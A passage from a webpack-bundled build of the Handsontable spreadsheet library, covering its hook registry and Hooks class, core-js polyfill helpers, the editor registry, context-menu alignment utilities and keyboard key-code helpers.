Options#undo} option is enabled. * * @event Hooks#beforeRedo * @param {Object} action The action object. Contains information about the action being redone. The `actionType` * property of the object specifies the type of the action in a String format (e.g. `'remove_row'`). */ 'beforeRedo', /** * Fired by {@link UndoRedo} plugin after the redo action. Contains information about the action that is being redone. * This hook is fired when {@link Options#undo} option is enabled. * * @event Hooks#afterRedo * @param {Object} action The action object. Contains information about the action being redone. The `actionType` * property of the object specifies the type of the action in a String format (e.g. `'remove_row'`). */ 'afterRedo', /** * Fired while retrieving the row header width. * * @event Hooks#modifyRowHeaderWidth * @param {Number} rowHeaderWidth Row header width. */ 'modifyRowHeaderWidth', /** * Fired from the `populateFromArray` method during the `autofill` process. Fired for each "autofilled" cell individually. * * @event Hooks#beforeAutofillInsidePopulate * @param {Object} index Object containing `row` and `col` properties, defining the number of rows/columns from the initial cell of the autofill. * @param {String} direction Declares the direction of the autofill. Possible values: `up`, `down`, `left`, `right`. * @param {Array[]} input Contains an array of rows with data being used in the autofill. * @param {Array} deltas The deltas array passed to the `populateFromArray` method. */ 'beforeAutofillInsidePopulate', /** * Fired when the start of the selection is being modified (e.g. moving the selection with the arrow keys). * * @event Hooks#modifyTransformStart * @param {CellCoords} delta Cell coords object declaring the delta of the new selection relative to the previous one. */ 'modifyTransformStart', /** * Fired when the end of the selection is being modified (e.g. moving the selection with the arrow keys). * * @event Hooks#modifyTransformEnd * @param {CellCoords} delta Cell coords object declaring the delta of the new selection relative to the previous one. */ 'modifyTransformEnd', /** * Fired after the start of the selection is being modified (e.g. moving the selection with the arrow keys). * * @event Hooks#afterModifyTransformStart * @param {CellCoords} coords Coords of the freshly selected cell. * @param {Number} rowTransformDir `-1` if trying to select a cell with a negative row index. `0` otherwise. * @param {Number} colTransformDir `-1` if trying to select a cell with a negative column index. `0` otherwise. */ 'afterModifyTransformStart', /** * Fired after the end of the selection is being modified (e.g. moving the selection with the arrow keys). * * @event Hooks#afterModifyTransformEnd * @param {CellCoords} coords Visual coords of the freshly selected cell. * @param {Number} rowTransformDir `-1` if trying to select a cell with a negative row index. `0` otherwise. * @param {Number} colTransformDir `-1` if trying to select a cell with a negative column index. `0` otherwise. */ 'afterModifyTransformEnd', /** * Fired inside the `viewportRowCalculatorOverride` method. Allows modifying the row calculator parameters. * * @event Hooks#afterViewportRowCalculatorOverride * @param {Object} calc The row calculator. */ 'afterViewportRowCalculatorOverride', /** * Fired inside the `viewportColumnCalculatorOverride` method. Allows modifying the row calculator parameters. * * @event Hooks#afterViewportColumnCalculatorOverride * @param {Object} calc The row calculator. */ 'afterViewportColumnCalculatorOverride', /** * Fired after initializing all the plugins. * * @event Hooks#afterPluginsInitialized */ 'afterPluginsInitialized', /** * Used to skip the length cache calculation for a defined period of time. * * @event Hooks#skipLengthCache * @param {Number} delay The delay in milliseconds. */ 'skipLengthCache', /** * Fired by {@link TrimRows} plugin after trimming rows. This hook is fired when {@link Options#trimRows} option is enabled. * * @pro * @event Hooks#afterTrimRow * @param {Number[]} rows Physical indexes of trimmed rows. */ 'afterTrimRow', /** * Fired by {@link TrimRows} plugin after untrimming rows. This hook is fired when {@link Options#trimRows} option is enabled. * * @pro * @event Hooks#afterUntrimRow * @param {Number[]} rows Physical indexes of untrimmed rows. */ 'afterUntrimRow', /** * Fired by {@link DropdownMenu} plugin before opening the dropdown menu. This hook is fired when {@link Options#dropdownMenu} * option is enabled. * * @pro * @event Hooks#beforeDropdownMenuShow * @param {DropdownMenu} dropdownMenu The DropdownMenu instance. */ 'beforeDropdownMenuShow', /** * Fired by {@link DropdownMenu} plugin after opening the Dropdown Menu. This hook is fired when {@link Options#dropdownMenu} * option is enabled. * * @pro * @event Hooks#afterDropdownMenuShow * @param {DropdownMenu} dropdownMenu The DropdownMenu instance. */ 'afterDropdownMenuShow', /** * Fired by {@link DropdownMenu} plugin after hiding the Dropdown Menu. This hook is fired when {@link Options#dropdownMenu} * option is enabled. * * @pro * @event Hooks#afterDropdownMenuHide * @param {DropdownMenu} instance The DropdownMenu instance. */ 'afterDropdownMenuHide', /** * Fired by {@link HiddenRows} plugin to check whether the provided row index is hidden. This hook is fired when * {@link Options#hiddenRows} option is enabled. * * @pro * @event Hooks#hiddenRow * @param {Number} row The visual row index in question. */ 'hiddenRow', /** * Fired by {@link HiddenColumns} plugin to check whether the provided column index is hidden. This hook is fired when * {@link Options#hiddenColumns} option is enabled. * * @pro * @event Hooks#hiddenColumn * @param {Number} column The visual column index in question. */ 'hiddenColumn', /** * Fired by {@link NestedRows} plugin before adding a children to the NestedRows structure. This hook is fired when * {@link Options#nestedRows} option is enabled. * * @pro * @event Hooks#beforeAddChild * @param {Object} parent The parent object. * @param {Object|undefined} element The element added as a child. If `undefined`, a blank child was added. * @param {Number|undefined} index The index within the parent where the new child was added. If `undefined`, the element was added as the last child. */ 'beforeAddChild', /** * Fired by {@link NestedRows} plugin after adding a children to the NestedRows structure. This hook is fired when * {@link Options#nestedRows} option is enabled. * * @pro * @event Hooks#afterAddChild * @param {Object} parent The parent object. * @param {Object|undefined} element The element added as a child. If `undefined`, a blank child was added. * @param {Number|undefined} index The index within the parent where the new child was added. If `undefined`, the element was added as the last child. */ 'afterAddChild', /** * Fired by {@link NestedRows} plugin before detaching a child from its parent. This hook is fired when * {@link Options#nestedRows} option is enabled. * * @pro * @event Hooks#beforeDetachChild * @param {Object} parent An object representing the parent from which the element is to be detached. * @param {Object} element The detached element. */ 'beforeDetachChild', /** * Fired by {@link NestedRows} plugin after detaching a child from its parent. This hook is fired when * {@link Options#nestedRows} option is enabled. * * @pro * @event Hooks#afterDetachChild * @param {Object} parent An object representing the parent from which the element was detached. * @param {Object} element The detached element. */ 'afterDetachChild', /** * Fired after the editor is opened and rendered. * * @event Hooks#afterBeginEditing * @param {Number} row Visual row index of the edited cell. * @param {Number} column Visual column index of the edited cell. */ 'afterBeginEditing', /** * Fired by {@link MergeCells} plugin before cell merging. This hook is fired when {@link Options#mergeCells} * option is enabled. * * @event Hooks#beforeMergeCells * @param {CellRange} cellRange Selection cell range. * @param {Boolean} [auto=false] `true` if called automatically by the plugin. */ 'beforeMergeCells', /** * Fired by {@link MergeCells} plugin after cell merging. This hook is fired when {@link Options#mergeCells} * option is enabled. * * @event Hooks#afterMergeCells * @param {CellRange} cellRange Selection cell range. * @param {Object} mergeParent The parent collection of the provided cell range. * @param {Boolean} [auto=false] `true` if called automatically by the plugin. */ 'afterMergeCells', /** * Fired by {@link MergeCells} plugin before unmerging the cells. This hook is fired when {@link Options#mergeCells} * option is enabled. * * @event Hooks#beforeUnmergeCells * @param {CellRange} cellRange Selection cell range. * @param {Boolean} [auto=false] `true` if called automatically by the plugin. */ 'beforeUnmergeCells', /** * Fired by {@link MergeCells} plugin after unmerging the cells. This hook is fired when {@link Options#mergeCells} * option is enabled. * * @event Hooks#afterUnmergeCells * @param {CellRange} cellRange Selection cell range. * @param {Boolean} [auto=false] `true` if called automatically by the plugin. */ 'afterUnmergeCells', /** * Fired after the table was switched into listening mode. This allows Handsontable to capture keyboard events and * respond in the right way. * * @event Hooks#afterListen */ 'afterListen', /** * Fired after the table was switched off from the listening mode. This makes the Handsontable inert for any * keyboard events. * * @event Hooks#afterUnlisten */ 'afterUnlisten']; var Hooks = /*#__PURE__*/ function () { _createClass(Hooks, null, [{ key: "getSingleton", value: function getSingleton() { return getGlobalSingleton(); } /** * */ }]); function Hooks() { _classCallCheck(this, Hooks); this.globalBucket = this.createEmptyBucket(); } /** * Returns a new object with empty handlers related to every registered hook name. * * @returns {Object} The empty bucket object. * * @example * ```js * Handsontable.hooks.createEmptyBucket(); * // Results: * { * ... * afterCreateCol: [], * afterCreateRow: [], * beforeInit: [], * ... * } * ``` */ _createClass(Hooks, [{ key: "createEmptyBucket", value: function createEmptyBucket() { var bucket = Object.create(null); // eslint-disable-next-line no-return-assign (0, _array.arrayEach)(REGISTERED_HOOKS, function (hook) { return bucket[hook] = []; }); return bucket; } /** * Get hook bucket based on the context of the object or if argument is `undefined`, get the global hook bucket. * * @param {Object} [context=null] A Handsontable instance. * @returns {Object} Returns a global or Handsontable instance bucket. */ }, { key: "getBucket", value: function getBucket() { var context = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; if (context) { if (!context.pluginHookBucket) { context.pluginHookBucket = this.createEmptyBucket(); } return context.pluginHookBucket; } return this.globalBucket; } /** * Adds a listener (globally or locally) to a specified hook name. * If the `context` parameter is provided, the hook will be added only to the instance it references. * Otherwise, the callback will be used everytime the hook fires on any Handsontable instance. * You can provide an array of callback functions as the `callback` argument, this way they will all be fired * once the hook is triggered. * * @see Core#addHook * @param {String} key Hook name. * @param {Function|Array} callback Callback function or an array of functions. * @param {Object} [context=null] The context for the hook callback to be added - a Handsontable instance or leave empty. * @returns {Hooks} Instance of Hooks. * * @example * ```js * // single callback, added locally * Handsontable.hooks.add('beforeInit', myCallback, hotInstance); * * // single callback, added globally * Handsontable.hooks.add('beforeInit', myCallback); * * // multiple callbacks, added locally * Handsontable.hooks.add('beforeInit', [myCallback, anotherCallback], hotInstance); * * // multiple callbacks, added globally * Handsontable.hooks.add('beforeInit', [myCallback, anotherCallback]); * ``` */ }, { key: "add", value: function add(key, callback) { var _this = this; var context = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null; if (Array.isArray(callback)) { (0, _array.arrayEach)(callback, function (c) { return _this.add(key, c, context); }); } else { var bucket = this.getBucket(context); if (typeof bucket[key] === 'undefined') { this.register(key); bucket[key] = []; } callback.skip = false; if (bucket[key].indexOf(callback) === -1) { // only add a hook if it has not already been added (adding the same hook twice is now silently ignored) var foundInitialHook = false; if (callback.initialHook) { (0, _array.arrayEach)(bucket[key], function (cb, i) { if (cb.initialHook) { bucket[key][i] = callback; foundInitialHook = true; return false; } }); } if (!foundInitialHook) { bucket[key].push(callback); } } } return this; } /** * Adds a listener to a specified hook. After the hook runs this listener will be automatically removed from the bucket. * * @see Core#addHookOnce * @param {String} key Hook/Event name. * @param {Function|Array} callback Callback function. * @param {Object} [context=null] A Handsontable instance. * * @example * ```js * Handsontable.hooks.once('beforeInit', myCallback, hotInstance); * ``` */ }, { key: "once", value: function once(key, callback) { var _this2 = this; var context = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null; if (Array.isArray(callback)) { (0, _array.arrayEach)(callback, function (c) { return _this2.once(key, c, context); }); } else { callback.runOnce = true; this.add(key, callback, context); } } /** * Removes a listener from a hook with a given name. If the `context` argument is provided, it removes a listener from a local hook assigned to the given Handsontable instance. * * @see Core#removeHook * @param {String} key Hook/Event name. * @param {Function} callback Callback function (needs the be the function that was previously added to the hook). * @param {Object} [context=null] Handsontable instance. * @return {Boolean} Returns `true` if hook was removed, `false` otherwise. * * @example * ```js * Handsontable.hooks.remove('beforeInit', myCallback); * ``` */ }, { key: "remove", value: function remove(key, callback) { var context = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null; var bucket = this.getBucket(context); if (typeof bucket[key] !== 'undefined') { if (bucket[key].indexOf(callback) >= 0) { callback.skip = true; return true; } } return false; } /** * Checks whether there are any registered listeners for the provided hook name. * If the `context` parameter is provided, it only checks for listeners assigned to the given Handsontable instance. * * @param {String} key Hook name. * @param {Object} [context=null] A Handsontable instance. * @returns {Boolean} `true` for success, `false` otherwise. */ }, { key: "has", value: function has(key) { var context = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; var bucket = this.getBucket(context); return !!(bucket[key] !== void 0 && bucket[key].length); } /** * Runs all local and global callbacks assigned to the hook identified by the `key` parameter. * It returns either a return value from the last called callback or the first parameter (`p1`) passed to the `run` function. * * @see Core#runHooks * @param {Object} context Handsontable instance. * @param {String} key Hook/Event name. * @param {*} [p1] Parameter to be passed as an argument to the callback function. * @param {*} [p2] Parameter to be passed as an argument to the callback function. * @param {*} [p3] Parameter to be passed as an argument to the callback function. * @param {*} [p4] Parameter to be passed as an argument to the callback function. * @param {*} [p5] Parameter to be passed as an argument to the callback function. * @param {*} [p6] Parameter to be passed as an argument to the callback function. * @returns {*} Either a return value from the last called callback or `p1`. * * @example * ```js * Handsontable.hooks.run(hot, 'beforeInit'); * ``` */ }, { key: "run", value: function run(context, key, p1, p2, p3, p4, p5, p6) { { var globalHandlers = this.globalBucket[key]; var length = globalHandlers ? globalHandlers.length : 0; var index = 0; if (length) { // Do not optimise this loop with arrayEach or arrow function! If you do You'll decrease perf because of GC. while (index < length) { if (!globalHandlers[index] || globalHandlers[index].skip) { index += 1; /* eslint-disable no-continue */ continue; } // performance considerations - http://jsperf.com/call-vs-apply-for-a-plugin-architecture var res = globalHandlers[index].call(context, p1, p2, p3, p4, p5, p6); if (res !== void 0) { // eslint-disable-next-line no-param-reassign p1 = res; } if (globalHandlers[index] && globalHandlers[index].runOnce) { this.remove(key, globalHandlers[index]); } index += 1; } } } { var localHandlers = this.getBucket(context)[key]; var _length = localHandlers ? localHandlers.length : 0; var _index = 0; if (_length) { // Do not optimise this loop with arrayEach or arrow function! If you do You'll decrease perf because of GC. while (_index < _length) { if (!localHandlers[_index] || localHandlers[_index].skip) { _index += 1; /* eslint-disable no-continue */ continue; } // performance considerations - http://jsperf.com/call-vs-apply-for-a-plugin-architecture var _res = localHandlers[_index].call(context, p1, p2, p3, p4, p5, p6); if (_res !== void 0) { // eslint-disable-next-line no-param-reassign p1 = _res; } if (localHandlers[_index] && localHandlers[_index].runOnce) { this.remove(key, localHandlers[_index], context); } _index += 1; } } } return p1; } /** * Destroy all listeners connected to the context. If no context is provided, the global listeners will be destroyed. * * @param {Object} [context=null] A Handsontable instance. * @example * ```js * // destroy the global listeners * Handsontable.hooks.destroy(); * * // destroy the local listeners * Handsontable.hooks.destroy(hotInstance); * ``` */ }, { key: "destroy", value: function destroy() { var context = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; // eslint-disable-next-line no-return-assign (0, _object.objectEach)(this.getBucket(context), function (value, key, bucket) { return bucket[key].length = 0; }); } /** * Registers a hook name (adds it to the list of the known hook names). Used by plugins. * It is not necessary to call register, but if you use it, your plugin hook will be used returned by * the `getRegistered` method. (which itself is used in the demo http://docs.handsontable.com/tutorial-callbacks.html). * * @param key {String} The hook name. * * @example * ```js * Handsontable.hooks.register('myHook'); * ``` */ }, { key: "register", value: function register(key) { if (!this.isRegistered(key)) { REGISTERED_HOOKS.push(key); } } /** * Deregisters a hook name (removes it from the list of known hook names). * * @param key {String} Hook name. * * @example * ```js * Handsontable.hooks.deregister('myHook'); * ``` */ }, { key: "deregister", value: function deregister(key) { if (this.isRegistered(key)) { REGISTERED_HOOKS.splice(REGISTERED_HOOKS.indexOf(key), 1); } } /** * Returns a boolean depending on if a hook by such name has been registered. * * @param key {String} Hook name. * @returns {Boolean} `true` for success, `false` otherwise. * * @example * ```js * Handsontable.hooks.isRegistered('beforeInit'); * * // Results: * true * ``` */ }, { key: "isRegistered", value: function isRegistered(key) { return REGISTERED_HOOKS.indexOf(key) >= 0; } /** * Returns an array of registered hooks. * * @returns {Array} An array of registered hooks. * * @example * ```js * Handsontable.hooks.getRegistered(); * * // Results: * [ * ... * 'beforeInit', * 'beforeRender', * 'beforeSetRangeEnd', * 'beforeDrawBorders', * 'beforeChange', * ... * ] * ``` */ }, { key: "getRegistered", value: function getRegistered() { return REGISTERED_HOOKS; } }]); return Hooks; }(); var globalSingleton = new Hooks(); function getGlobalSingleton() { return globalSingleton; } var _default = Hooks; exports.default = _default; /***/ }), /* 23 */ /***/ (function(module, exports, __webpack_require__) { var global = __webpack_require__(6); var hide = __webpack_require__(28); var has = __webpack_require__(27); var SRC = __webpack_require__(51)('src'); var TO_STRING = 'toString'; var $toString = Function[TO_STRING]; var TPL = ('' + $toString).split(TO_STRING); __webpack_require__(21).inspectSource = function (it) { return $toString.call(it); }; (module.exports = function (O, key, val, safe) { var isFunction = typeof val == 'function'; if (isFunction) has(val, 'name') || hide(val, 'name', key); if (O[key] === val) return; if (isFunction) has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key))); if (O === global) { O[key] = val; } else if (!safe) { delete O[key]; hide(O, key, val); } else if (O[key]) { O[key] = val; } else { hide(O, key, val); } // add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative })(Function.prototype, TO_STRING, function toString() { return typeof this == 'function' && this[SRC] || $toString.call(this); }); /***/ }), /* 24 */ /***/ (function(module, exports, __webpack_require__) { // 7.1.13 ToObject(argument) var defined = __webpack_require__(40); module.exports = function (it) { return Object(defined(it)); }; /***/ }), /* 25 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var fails = __webpack_require__(4); var defined = __webpack_require__(40); var quot = /"/g; // B.2.3.2.1 CreateHTML(string, tag, attribute, value) var createHTML = function (string, tag, attribute, value) { var S = String(defined(string)); var p1 = '<' + tag; if (attribute !== '') p1 += ' ' + attribute + '="' + String(value).replace(quot, '"') + '"'; return p1 + '>' + S + ''; }; module.exports = function (NAME, exec) { var O = {}; O[NAME] = exec(createHTML); $export($export.P + $export.F * fails(function () { var test = ''[NAME]('"'); return test !== test.toLowerCase() || test.split('"').length > 3; }), 'String', O); }; /***/ }), /* 26 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.RegisteredEditor = RegisteredEditor; exports.getEditorInstance = exports._getEditorInstance = _getEditorInstance; exports.registerEditor = _register; exports.getEditor = _getItem; exports.getRegisteredEditors = exports.getRegisteredEditorNames = exports.hasEditor = void 0; var _staticRegister2 = _interopRequireDefault(__webpack_require__(46)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _baseEditor = _interopRequireDefault(__webpack_require__(74)); var _autocompleteEditor = _interopRequireDefault(__webpack_require__(294)); var _checkboxEditor = _interopRequireDefault(__webpack_require__(614)); var _dateEditor = _interopRequireDefault(__webpack_require__(615)); var _dropdownEditor = _interopRequireDefault(__webpack_require__(620)); var _handsontableEditor = _interopRequireDefault(__webpack_require__(295)); var _numericEditor = _interopRequireDefault(__webpack_require__(621)); var _passwordEditor = _interopRequireDefault(__webpack_require__(622)); var _selectEditor = _interopRequireDefault(__webpack_require__(623)); var _textEditor = _interopRequireDefault(__webpack_require__(77)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * Utility to register editors and common namespace for keeping reference to all editor classes */ var registeredEditorClasses = new WeakMap(); var _staticRegister = (0, _staticRegister2.default)('editors'), register = _staticRegister.register, getItem = _staticRegister.getItem, hasItem = _staticRegister.hasItem, getNames = _staticRegister.getNames, getValues = _staticRegister.getValues; exports.getRegisteredEditors = getValues; exports.getRegisteredEditorNames = getNames; exports.hasEditor = hasItem; _register('base', _baseEditor.default); _register('autocomplete', _autocompleteEditor.default); _register('checkbox', _checkboxEditor.default); _register('date', _dateEditor.default); _register('dropdown', _dropdownEditor.default); _register('handsontable', _handsontableEditor.default); _register('numeric', _numericEditor.default); _register('password', _passwordEditor.default); _register('select', _selectEditor.default); _register('text', _textEditor.default); function RegisteredEditor(editorClass) { var instances = {}; var Clazz = editorClass; this.getConstructor = function () { return editorClass; }; this.getInstance = function (hotInstance) { if (!(hotInstance.guid in instances)) { instances[hotInstance.guid] = new Clazz(hotInstance); } return instances[hotInstance.guid]; }; _pluginHooks.default.getSingleton().add('afterDestroy', function () { instances[this.guid] = null; }); } /** * Returns instance (singleton) of editor class. * * @param {String} name Name of an editor under which it has been stored. * @param {Object} hotInstance Instance of Handsontable. * @returns {Function} Returns instance of editor. */ function _getEditorInstance(name, hotInstance) { var editor; if (typeof name === 'function') { if (!registeredEditorClasses.get(name)) { _register(null, name); } editor = registeredEditorClasses.get(name); } else if (typeof name === 'string') { editor = getItem(name); } else { throw Error('Only strings and functions can be passed as "editor" parameter'); } if (!editor) { throw Error("No editor registered under name \"".concat(name, "\"")); } return editor.getInstance(hotInstance); } /** * Retrieve editor class. * * @param {String} name Editor identification. * @returns {Function} Returns editor class. */ function _getItem(name) { if (!hasItem(name)) { throw Error("No registered editor found under \"".concat(name, "\" name")); } return getItem(name).getConstructor(); } /** * Register editor class under specified name. * * @param {String} name Editor identification. * @param {Function} editorClass Editor class. */ function _register(name, editorClass) { var editorWrapper = new RegisteredEditor(editorClass); if (typeof name === 'string') { register(name, editorWrapper); } registeredEditorClasses.set(editorClass, editorWrapper); } /***/ }), /* 27 */ /***/ (function(module, exports) { var hasOwnProperty = {}.hasOwnProperty; module.exports = function (it, key) { return hasOwnProperty.call(it, key); }; /***/ }), /* 28 */ /***/ (function(module, exports, __webpack_require__) { var dP = __webpack_require__(17); var createDesc = __webpack_require__(50); module.exports = __webpack_require__(20) ? function (object, key, value) { return dP.f(object, key, createDesc(1, value)); } : function (object, key, value) { object[key] = value; return object; }; /***/ }), /* 29 */ /***/ (function(module, exports, __webpack_require__) { // to indexed object, toObject with fallback for non-array-like ES3 strings var IObject = __webpack_require__(70); var defined = __webpack_require__(40); module.exports = function (it) { return IObject(defined(it)); }; /***/ }), /* 30 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.normalizeSelection = normalizeSelection; exports.isSeparator = isSeparator; exports.hasSubMenu = hasSubMenu; exports.isDisabled = isDisabled; exports.isSelectionDisabled = isSelectionDisabled; exports.getValidSelection = getValidSelection; exports.prepareVerticalAlignClass = prepareVerticalAlignClass; exports.prepareHorizontalAlignClass = prepareHorizontalAlignClass; exports.getAlignmentClasses = getAlignmentClasses; exports.align = align; exports.checkSelectionConsistency = checkSelectionConsistency; exports.markLabelAsSelected = markLabelAsSelected; exports.isItemHidden = isItemHidden; exports.filterSeparators = filterSeparators; var _array = __webpack_require__(3); var _element = __webpack_require__(1); var _separator = __webpack_require__(126); function normalizeSelection(selRanges) { return (0, _array.arrayMap)(selRanges, function (range) { return { start: range.getTopLeftCorner(), end: range.getBottomRightCorner() }; }); } function isSeparator(cell) { return (0, _element.hasClass)(cell, 'htSeparator'); } function hasSubMenu(cell) { return (0, _element.hasClass)(cell, 'htSubmenu'); } function isDisabled(cell) { return (0, _element.hasClass)(cell, 'htDisabled'); } function isSelectionDisabled(cell) { return (0, _element.hasClass)(cell, 'htSelectionDisabled'); } function getValidSelection(hot) { var selected = hot.getSelected(); if (!selected) { return null; } if (selected[0] < 0) { return null; } return selected; } function prepareVerticalAlignClass(className, alignment) { if (className.indexOf(alignment) !== -1) { return className; } var replacedClassName = className.replace('htTop', '').replace('htMiddle', '').replace('htBottom', '').replace(' ', ''); return "".concat(replacedClassName, " ").concat(alignment); } function prepareHorizontalAlignClass(className, alignment) { if (className.indexOf(alignment) !== -1) { return className; } var replacedClassName = className.replace('htLeft', '').replace('htCenter', '').replace('htRight', '').replace('htJustify', '').replace(' ', ''); return "".concat(replacedClassName, " ").concat(alignment); } function getAlignmentClasses(ranges, callback) { var classes = {}; (0, _array.arrayEach)(ranges, function (_ref) { var from = _ref.from, to = _ref.to; for (var row = from.row; row <= to.row; row++) { for (var col = from.col; col <= to.col; col++) { if (!classes[row]) { classes[row] = []; } classes[row][col] = callback(row, col); } } }); return classes; } function align(ranges, type, alignment, cellDescriptor, propertySetter) { (0, _array.arrayEach)(ranges, function (_ref2) { var from = _ref2.from, to = _ref2.to; if (from.row === to.row && from.col === to.col) { applyAlignClassName(from.row, from.col, type, alignment, cellDescriptor, propertySetter); } else { for (var row = from.row; row <= to.row; row++) { for (var col = from.col; col <= to.col; col++) { applyAlignClassName(row, col, type, alignment, cellDescriptor, propertySetter); } } } }); } function applyAlignClassName(row, col, type, alignment, cellDescriptor, propertySetter) { var cellMeta = cellDescriptor(row, col); var className = alignment; if (cellMeta.className) { if (type === 'vertical') { className = prepareVerticalAlignClass(cellMeta.className, alignment); } else { className = prepareHorizontalAlignClass(cellMeta.className, alignment); } } propertySetter(row, col, 'className', className); } function checkSelectionConsistency(ranges, comparator) { var result = false; if (Array.isArray(ranges)) { (0, _array.arrayEach)(ranges, function (range) { range.forAll(function (row, col) { if (comparator(row, col)) { result = true; return false; } }); return result; }); } return result; } function markLabelAsSelected(label) { // workaround for https://github.com/handsontable/handsontable/issues/1946 return "".concat(String.fromCharCode(10003), "").concat(label); } function isItemHidden(item, instance) { return !item.hidden || !(typeof item.hidden === 'function' && item.hidden.call(instance)); } function shiftSeparators(items, separator) { var result = items.slice(0); for (var i = 0; i < result.length;) { if (result[i].name === separator) { result.shift(); } else { break; } } return result; } function popSeparators(items, separator) { var result = items.slice(0); result.reverse(); result = shiftSeparators(result, separator); result.reverse(); return result; } function removeDuplicatedSeparators(items) { var result = []; (0, _array.arrayEach)(items, function (value, index) { if (index > 0) { if (result[result.length - 1].name !== value.name) { result.push(value); } } else { result.push(value); } }); return result; } function filterSeparators(items) { var separator = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : _separator.KEY; var result = items.slice(0); result = shiftSeparators(result, separator); result = popSeparators(result, separator); result = removeDuplicatedSeparators(result); return result; } /***/ }), /* 31 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var fails = __webpack_require__(4); module.exports = function (method, arg) { return !!method && fails(function () { // eslint-disable-next-line no-useless-call arg ? method.call(null, function () { /* empty */ }, 1) : method.call(null); }); }; /***/ }), /* 32 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.isPrintableChar = isPrintableChar; exports.isMetaKey = isMetaKey; exports.isCtrlKey = isCtrlKey; exports.isCtrlMetaKey = isCtrlMetaKey; exports.isKey = isKey; exports.KEY_CODES = void 0; var _array = __webpack_require__(3); var KEY_CODES = { MOUSE_LEFT: 1, MOUSE_RIGHT: 3, MOUSE_MIDDLE: 2, BACKSPACE: 8, COMMA: 188, INSERT: 45, DELETE: 46, END: 35, ENTER: 13, ESCAPE: 27, CONTROL: 17, COMMAND_LEFT: 91, COMMAND_RIGHT: 93, COMMAND_FIREFOX: 224, ALT: 18, HOME: 36, PAGE_DOWN: 34, PAGE_UP: 33, PERIOD: 190, SPACE: 32, SHIFT: 16, CAPS_LOCK: 20, TAB: 9, ARROW_RIGHT: 39, ARROW_LEFT: 37, ARROW_UP: 38, ARROW_DOWN: 40, F1: 112, F2: 113, F3: 114, F4: 115, F5: 116, F6: 117, F7: 118, F8: 119, F9: 120, F10: 121, F11: 122, F12: 123, A: 65, C: 67, D: 68, F: 70, L: 76, O: 79, P: 80, S: 83, V: 86, X: 88 }; /** * Returns true if keyCode represents a printable character. * * @param {Number} keyCode * @returns {Boolean} */ exports.KEY_CODES = KEY_CODES; function isPrintableChar(keyCode) { return keyCode === 32 || // space keyCode >= 48 && keyCode <= 57 || // 0-9 keyCode >= 96 && keyCode <= 111 || // numpad keyCode >= 186 && keyCode <= 192 || // ;=,-./` keyCode >= 219 && keyCode <= 222 || // []{}\|"' keyCode >= 226 || // special chars (229 for Asian chars) keyCode >= 65 && keyCode <= 90; // a-z } /** * @param {Number} keyCode * @returns {Boolean} */ function isMetaKey(keyCode) { var metaKeys = [KEY_CODES.ARROW_DOWN, KEY_CODES.ARROW_UP, KEY_CODES.ARROW_LEFT, KEY_CODES.ARROW_RIGHT, KEY_CODES.HOME, KEY_CODES.END, KEY_CODES.DELETE, KEY_CODES.BACKSPACE, KEY_CODES.F1, KEY_CODES.F2, KEY_CODES.F3, KEY_CODES.F4, KEY_CODES.F5, KEY_CODES.F6, KEY_CODES.F7, KEY_CODES.F8, KEY_CODES.F9, KEY_CODES.F10, KEY_CODES.F11, KEY_CODES.F12, KEY_CODES.TAB, KEY_CODES.PAGE_DOWN, KEY_CODES.PAGE_UP, KEY_CODES.ENTER, KEY_CODES.ESCAPE, KEY_CODES.SHIFT, KEY_CODES.CAPS_LOCK, KEY_CODES.ALT]; return metaKeys.indexOf(keyCode) !== -1; } /** * Checks if passed key code is ctrl or cmd key. Depends on what OS the code runs it check key code based on * different meta key codes. * * @param {Number} keyCode Key code to check. * @returns {Boolean} */ function isCtrlKey(keyCode) { var keys = []; if (window.navigator.platform.includes('Mac')) { keys.push(KEY_CODES.COMMAND_LEFT, KEY_CODES.COMMAND_RIGHT, KEY_CODES.COMMAND_FIREFOX); } else { keys.push(KEY_CODES.CONTROL); } return keys.includes(keyCode); } /** * Checks if passed key code is ctrl or cmd key. This helper checks if the key code matches to meta keys * regardless of the OS on which it is running. * * @param {Number} keyCode Key code to check. * @returns {Boolean} */ function isCtrlMetaKey(keyCode) { return [KEY_CODES.CONTROL, KEY_CODES.COMMAND_LEFT, KEY_CODES.COMMAND_RIGHT, KEY_CODES.COMMAND_FIREFOX].includes(keyCode); } /** * @param {Number} keyCode * @param {String} baseCode * @returns {Boolean} */ function isKey(keyCode, baseCode) { var keys = baseCode.split('|'); var result = false; (0, _array.arrayEach)(keys, function (key) { if (keyCode === KEY_CODES[key]) { result = true; return false; } }); return result; } /***/ }), /* 33 */ /***/ (function(module, exports) { // 7.1.4 ToInteger var ceil = Math.ceil; var floor = Math.floor; module.exports = function (it) { return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it); }; /***/ }), /* 34 */ /***/ (function(module, exports, __webpack_require__) { var pIE = __webpack_require__(71); var createDesc = __webpack_require__(50); var toIObject = __webpack_require__(29); var toPrimitive = __webpack_require__(44); var has = __webpack_require__(27); var IE8_DOM_DEFINE = __webpack_require__(130); var gOPD = Object.getOwnPropertyDescriptor; exports.f = __webpack_require__(20) ? gOPD : function getOwnPropertyDescriptor(O, P) { O = toIObject(O); P = toPrimitive(P, true); if (IE8_DOM_DEFINE) try { return gOPD(O, P); } catch (e) { /* empty */ } if (has(O, P)) return createDesc(!pIE.f.call(O, P), O[P]); }; /***/ }), /* 35 */ /***/ (function(module, exports, __webpack_require__) { // most Object methods by ES6 should accept primitives var $export = __webpack_require__(0); var core = __webpack_require__(21); var fails = __webpack_require__(4); module.exports = function (KEY, exec) { var fn = 